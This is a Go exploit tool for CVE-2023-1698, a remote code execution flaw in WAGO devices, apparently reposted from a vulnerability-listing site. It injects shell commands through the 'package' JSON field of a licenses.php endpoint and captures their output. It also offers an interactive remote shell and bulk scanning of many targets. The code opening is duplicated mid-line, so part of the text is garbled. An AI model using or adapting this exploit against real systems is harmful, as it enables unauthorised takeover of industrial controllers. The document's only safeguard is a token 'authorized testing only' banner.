package main
import (
"bufio"
"bytes"
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
)
const (
// ANSI color codes
ColorReset = "\033[0m"
ColorRed package main
import (
"bufio"
"bytes"
"crypto/tls"
"encoding/json"
"flag"
"fmt"
"io"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
)
const (
// ANSI color codes
ColorReset = "\033[0m"
ColorRed = "\033[31m"
ColorGreen = "\033[32m"
ColorYellow = "\033[33m"
ColorBlue = "\033[34m"
ColorPurple = "\033[35m"
ColorCyan = "\033[36m"
ColorWhite = "\033[37m"
Developer = "?brahimsql"
)
type Payload struct {
Package string `json:"package"`
}
type Config struct {
URL string
URLList string
Output string
Threads int
Timeout int
Verbose bool
Command string
NoColor bool
UserAgent string
}
type Result struct {
URL string
Vulnerable bool
Output string
Error error
}
var (
mu sync.Mutex
wg sync.WaitGroup
)
func main() {
printBanner()
var config Config
flag.StringVar(&config.URL, "u", "", "Target URL to test")
flag.StringVar(&config.URL, "url", "", "Target URL to test")
flag.StringVar(&config.URLList, "l", "", "File containing list of URLs to test")
flag.StringVar(&config.URLList, "list", "", "File containing list of URLs to test")
flag.StringVar(&config.Output, "o", "", "Output file for vulnerable URLs")
flag.StringVar(&config.Output, "output", "", "Output file for vulnerable URLs")
flag.IntVar(&config.Threads, "t", 10, "Number of concurrent threads")
flag.IntVar(&config.Threads, "threads", 10, "Number of concurrent threads")
flag.IntVar(&config.Timeout, "timeout", 10, "HTTP request timeout in seconds")
flag.StringVar(&config.Command, "c", "id", "Command to execute (default: id)")
flag.StringVar(&config.Command, "cmd", "id", "Command to execute (default: id)")
flag.BoolVar(&config.Verbose, "v", false, "Verbose output")
flag.BoolVar(&config.Verbose, "verbose", false, "Verbose output")
flag.BoolVar(&config.NoColor, "no-color", false, "Disable colored output")
flag.StringVar(&config.UserAgent, "ua", "Mozilla/5.0 (compatible; CVE-2023-1698-Scanner)", "Custom User-Agent")
flag.Usage = func() {
fmt.Printf("CVE-2023-1698 Scanner v%s - WAGO RCE Exploit\n\n")
fmt.Println("Usage:")
fmt.Printf(" %s [OPTIONS]\n\n", os.Args[0])
fmt.Println("Options:")
flag.PrintDefaults()
fmt.Println("\nExamples:")
fmt.Printf(" %s -u http://target.com\n", os.Args[0])
fmt.Printf(" %s -l urls.txt -o vulnerable.txt -t 20\n", os.Args[0])
fmt.Printf(" %s -u http://target.com -c \"whoami\" -v\n", os.Args[0])
}
flag.Parse()
if config.URL == "" && config.URLList == "" {
fmt.Println(colorize(ColorRed, "[!] Error: Either -u/--url or -l/--list must be specified", config.NoColor))
flag.Usage()
return
}
if config.URL != "" {
// Single URL mode
result := scanSingleURL(config.URL, config)
if result.Vulnerable {
fmt.Printf("%s[+] %s is VULNERABLE!%s\n",
colorize(ColorRed, "", config.NoColor), config.URL, ColorReset)
if result.Output != "" {
fmt.Printf("%s[*] Command Output:%s %s\n",
colorize(ColorBlue, "", config.NoColor), ColorReset, result.Output)
}
// Interactive shell
startInteractiveShell(config.URL, config)
} else {
fmt.Printf("%s[+] %s is not vulnerable%s\n",
colorize(ColorGreen, "", config.NoColor), config.URL, ColorReset)
}
} else {
// Bulk URL mode
scanURLList(config.URLList, config)
}
}
func printBanner() {
fmt.Printf("%sCVE-2023-1698 Scanner%s - WAGO Remote Code Execution | Developer: %s%s%s\n",
ColorCyan, ColorReset, ColorPurple, Developer, ColorReset)
fmt.Printf("For authorized testing only%s\n\n", ColorYellow, ColorReset)
}
func colorize(color, text string, noColor bool) string {
if noColor {
return text
}
return color + text
}
func createHTTPClient(timeout int) *http.Client {
return &http.Client{
Timeout: time.Duration(timeout) * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
MaxIdleConns: 100,
MaxIdleConnsPerHost: 10,
},
}
}
func sendRequest(baseURL, command string, config Config) (*http.Response, error) {
// Enhanced payload construction
payload := Payload{
Package: fmt.Sprintf(";echo -n '[PWNED_START]';%s;echo -n '[PWNED_END]';#", command),
}
jsonData, err := json.Marshal(payload)
if err != nil {
return nil, fmt.Errorf("JSON marshal error: %v", err)
}
// Target endpoint
targetURL := fmt.Sprintf("%s/wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php",
strings.TrimSuffix(baseURL, "/"))
client := createHTTPClient(config.Timeout)
req, err := http.NewRequest("POST", targetURL, bytes.NewBuffer(jsonData))
if err != nil {
return nil, fmt.Errorf("request creation error: %v", err)
}
// Enhanced headers to bypass simple filters
req.Header.Set("Content-Type", "application/json")
req.Header.Set("User-Agent", config.UserAgent)
req.Header.Set("Accept", "*/*")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept-Encoding", "gzip, deflate")
req.Header.Set("Connection", "keep-alive")
if config.Verbose {
fmt.Printf("%s[DEBUG] Sending request to: %s%s\n",
colorize(ColorYellow, "", config.NoColor), targetURL, ColorReset)
fmt.Printf("%s[DEBUG] Payload: %s%s\n",
colorize(ColorYellow, "", config.NoColor), string(jsonData), ColorReset)
}
return client.Do(req)
}
func checkVulnerability(url string, response *http.Response, config Config) (bool, string, error) {
if response == nil {
return false, "", fmt.Errorf("nil response")
}
body, err := io.ReadAll(response.Body)
if err != nil {
return false, "", fmt.Errorf("failed to read response body: %v", err)
}
defer response.Body.Close()
responseText := strings.ReplaceAll(string(body), "\\/", "/")
if config.Verbose {
fmt.Printf("%s[DEBUG] Response Status: %d%s\n",
colorize(ColorYellow, "", config.NoColor), response.StatusCode, ColorReset)
fmt.Printf("%s[DEBUG] Response Body (first 200 chars): %s%s\n",
colorize(ColorYellow, "", config.NoColor),
truncateString(responseText, 200), ColorReset)
}
// Enhanced pattern matching
patterns := []string{
`\[PWNED_START\](.*?)\[PWNED_END\]`, // Primary pattern
`\[S\](.*?)\[E\]`, // Fallback pattern
}
for _, patternStr := range patterns {
pattern := regexp.MustCompile(patternStr)
matches := pattern.FindStringSubmatch(responseText)
if len(matches) > 1 {
extractedContent := strings.TrimSpace(matches[1])
// Validate that we got actual command output
if extractedContent != "" && !strings.Contains(extractedContent, "error") {
return true, extractedContent, nil
}
}
}
// Additional checks for different response patterns
if strings.Contains(responseText, "uid=") ||
strings.Contains(responseText, "gid=") ||
strings.Contains(responseText, "root") {
return true, "Command executed successfully (detected uid/gid pattern)", nil
}
return false, "", nil
}
func scanSingleURL(url string, config Config) Result {
if config.Verbose {
fmt.Printf("%s[INFO] Scanning: %s%s\n",
colorize(ColorBlue, "", config.NoColor), url, ColorReset)
}
response, err := sendRequest(url, config.Command, config)
if err != nil {
return Result{
URL: url,
Vulnerable: false,
Error: err,
}
}
vulnerable, output, err := checkVulnerability(url, response, config)
return Result{
URL: url,
Vulnerable: vulnerable,
Output: output,
Error: err,
}
}
func scanURLList(filename string, config Config) {
file, err := os.Open(filename)
if err != nil {
fmt.Printf("%s[!] Error opening file: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
return
}
defer file.Close()
var urls []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
url := strings.TrimSpace(scanner.Text())
if url != "" && !strings.HasPrefix(url, "#") {
urls = append(urls, url)
}
}
if len(urls) == 0 {
fmt.Printf("%s[!] No valid URLs found in file%s\n",
colorize(ColorRed, "", config.NoColor), ColorReset)
return
}
fmt.Printf("%s[INFO] Loaded %d URLs for scanning%s\n",
colorize(ColorBlue, "", config.NoColor), len(urls), ColorReset)
// Create channels for URL processing
urlChan := make(chan string, len(urls))
resultChan := make(chan Result, len(urls))
// Start workers
for i := 0; i < config.Threads; i++ {
wg.Add(1)
go worker(urlChan, resultChan, config)
}
// Send URLs to workers
for _, url := range urls {
urlChan <- url
}
close(urlChan)
// Collect results
go func() {
wg.Wait()
close(resultChan)
}()
var vulnerableCount int
var outputFile *os.File
if config.Output != "" {
outputFile, err = os.Create(config.Output)
if err != nil {
fmt.Printf("%s[!] Error creating output file: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
} else {
defer outputFile.Close()
}
}
for result := range resultChan {
if result.Error != nil {
if config.Verbose {
fmt.Printf("%s[ERROR] %s: %v%s\n",
colorize(ColorRed, "", config.NoColor), result.URL, result.Error, ColorReset)
}
continue
}
if result.Vulnerable {
vulnerableCount++
fmt.Printf("%s[+] VULNERABLE: %s%s\n",
colorize(ColorRed, "", config.NoColor), result.URL, ColorReset)
if result.Output != "" {
fmt.Printf("%s[*] Output: %s%s\n",
colorize(ColorBlue, "", config.NoColor), result.Output, ColorReset)
}
if outputFile != nil {
outputFile.WriteString(result.URL + "\n")
}
} else if config.Verbose {
fmt.Printf("%s[+] Safe: %s%s\n",
colorize(ColorGreen, "", config.NoColor), result.URL, ColorReset)
}
}
fmt.Printf("\n%s[SUMMARY] Scan completed. Found %d vulnerable targets out of %d total%s\n",
colorize(ColorCyan, "", config.NoColor), vulnerableCount, len(urls), ColorReset)
}
func worker(urlChan <-chan string, resultChan chan<- Result, config Config) {
defer wg.Done()
for url := range urlChan {
result := scanSingleURL(url, config)
resultChan <- result
}
}
func startInteractiveShell(url string, config Config) {
fmt.Printf("\n%s[!] Starting interactive shell...%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
fmt.Printf("%s[!] Type 'exit' or 'quit' to quit%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
fmt.Printf("%s[!] Type 'clear' to clear screen%s\n",
colorize(ColorCyan, "", config.NoColor), ColorReset)
reader := bufio.NewReader(os.Stdin)
for {
fmt.Printf("%s# %s", colorize(ColorCyan, "", config.NoColor), ColorReset)
command, err := reader.ReadString('\n')
if err != nil {
fmt.Printf("%s[!] Error reading input: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
break
}
command = strings.TrimSpace(command)
if command == "" {
continue
}
if command == "exit" || command == "quit" {
fmt.Printf("%s[!] Exiting shell...%s\n",
colorize(ColorGreen, "", config.NoColor), ColorReset)
break
}
if command == "clear" {
fmt.Print("\033[H\033[2J")
continue
}
// Execute command
response, err := sendRequest(url, command, config)
if err != nil {
fmt.Printf("%s[!] Command execution failed: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
continue
}
vulnerable, output, err := checkVulnerability(url, response, config)
if err != nil {
fmt.Printf("%s[!] Error processing response: %v%s\n",
colorize(ColorRed, "", config.NoColor), err, ColorReset)
continue
}
if vulnerable && output != "" {
fmt.Printf("%s\n", output)
} else {
fmt.Printf("%s[!] No output or command failed%s\n",
colorize(ColorYellow, "", config.NoColor), ColorReset)
}
}
}
func truncateString(s string, maxLen int) string {
if len(s) <= maxLen {
return s
}
return s[:maxLen] + "..."
}
WAGO Remote Code Execution
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 2